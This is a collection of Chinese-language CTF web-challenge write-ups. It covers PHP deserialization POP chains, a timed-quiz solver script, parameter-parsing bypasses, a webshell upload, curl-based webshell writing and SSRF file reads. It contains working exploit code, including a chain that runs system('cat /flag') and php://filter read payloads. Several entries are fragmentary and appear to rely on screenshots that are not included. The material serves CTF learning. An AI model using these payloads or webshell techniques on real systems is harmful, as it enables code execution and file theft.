SHCTF Week2 serialize
分析代码,和平时不一样,有一个点:如何从get()->__tostring(),tostring的触发条件是当一个类对象被当作字符串时触发,那么显然我们想触发tostring,需要利用die这个函数,但我们在调用die之前调用了miaomiao这个方法,将a进行了提前赋值,这个时候可以看到die()前面的一串:this->gao=$this->fei;然后还有check函数以及基础的传参trick需要绕过,去网上搜一搜绕过方式,备注:php会将所传参数中的不合法符号替换为“_”
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));
构造链子
<?php
class musca{
public $ding;
public $dong;
public function __construct(){
$this->ding=new misca;
}
}
class misca{
public $gao;
public $fei;
public $a;
public function __construct(){
$this->fei=new milaoshu;
$this->gao=&$this->a;
}
}
class milaoshu{
public $v='php://filter/convert.base64-encode/resource=flag.php';
}
$a=new musca;
echo serialize(array($a));
?>
SHCTF Week3 快问快答
进页面是需要回答数学题,查看源码发现有提示
题目要求在两秒之内解答,根据题目写脚本
import requests
import re
import time
session = requests.Session()
url = 'http://112.6.51.212:30442/'
for i in range(50):
# try:
response = session.get(url,verify=False)
x = response.text
# 定义正则表达式模式
pattern = r'<h3>(.*?)</h3>'
# 使用 re 模块的 findall 方法匹配所有符合模式的字符串
result = re.findall(pattern, x)[0].split('=')
print(result)
answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
print(answer)
data = {
'answer': str(answer),
}
time.sleep(1)
x2 = session.post(url,data=data)
# print(x2.text)
print(re.findall(r'<p>(.*?)</p>', x2.text))
print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
print(x2.text)
50道题后出flag
[羊城杯 2020]easycon
进入页面后是一个Apache页面,直接搜发现有XXE漏洞
用扫描工具扫一下
访问index.php发现弹窗,直接蚁剑连接
但是我连上后好像那个文件被人删掉了,看别人说是一个base64加密文本解码后得到一个含有flag的图片
攻防世界 php2
源码里面什么都没用,那就扫一下看看有没有隐藏文件
访问一下发现没啥变化,这里学到了新知识:phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。
所以访问index.phps文件
记得传参需要回到index.php页面
admin进行url编码一次后传入,浏览器会将它解码为admin,于是在admin编码的基础上再一次编码
Geek EzHttp
爬虫访问不到,那就是robots.txt
得到账号密码,传进去
传进去之后就一直跟着提示改头就行了,不过这里也是知道了一个新的知识点:在添加头的时候:后面得留一个空格,还有就是via可以用来伪造代理
Geek easy_php
GET传参:
syc=Welcome+to+GEEK+2023!%0a&lover=2022e1
POST传参:
qw[]=1&yxx[]=2&SYC[GEEK.2023=Happy to see you!
Geek unsign
常见的魔术方法:
__construct() 当一个对象创建时被调用,
__destruct() 当一个对象销毁时被调用,
__toString() 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
源码:
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}
?>
exp:
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $QW;
}
class web
{
public $eva1='system';
public $interesting='cat /flag';
}
$s=new syc();
$l=new lover();
$w=new web();
$s->cuit=$l;
$l->yxx=$w;
$w->var=1;
echo serialize($s);
Geek n00b_Upload
直接传一句话木马
变形
这样就能上传成功,但是得把jpg后缀抓包改掉,不然没办法解析
命令执行或者连接蚁剑
Geek ctf_curl
利用curl,那就去了解一下curl命令,审计代码发现,任何写入到 /dev/null 的数据都会被丢弃,而不会保留或显示在屏幕上。也就是说所有内容都不会显示在屏幕上
因为|被过滤了,所以不能用反弹shell的方法
利用远程写入文件,参考下面文章
这个题得需要用公网服务器,但是我用内网复现一下思路
在本地服务器写入webshell,利用curl命令写入,先开启端口
写入到目标服务器,可以看到桌面上已经有了这个文件
在这个题目中,就是相当于这个文件已经写入到了里面,然后访问/tmp/Syclover即可
Geek famale_imp_l0ve
[NISACTF 2022]easyssrf
说是让curl,但是试了好几个都没东西
尝试其他方法,题目是ssrf,那利用伪协议读一下/flag
发现有提示,访问该文件
这里需要了解一下stristr()函数:该函数是不区分大小写,搜索字符串在另一字符串中的第一次出现。尝试伪协议读取文件
php://filter/read=convert.base64-encode/resource=/flag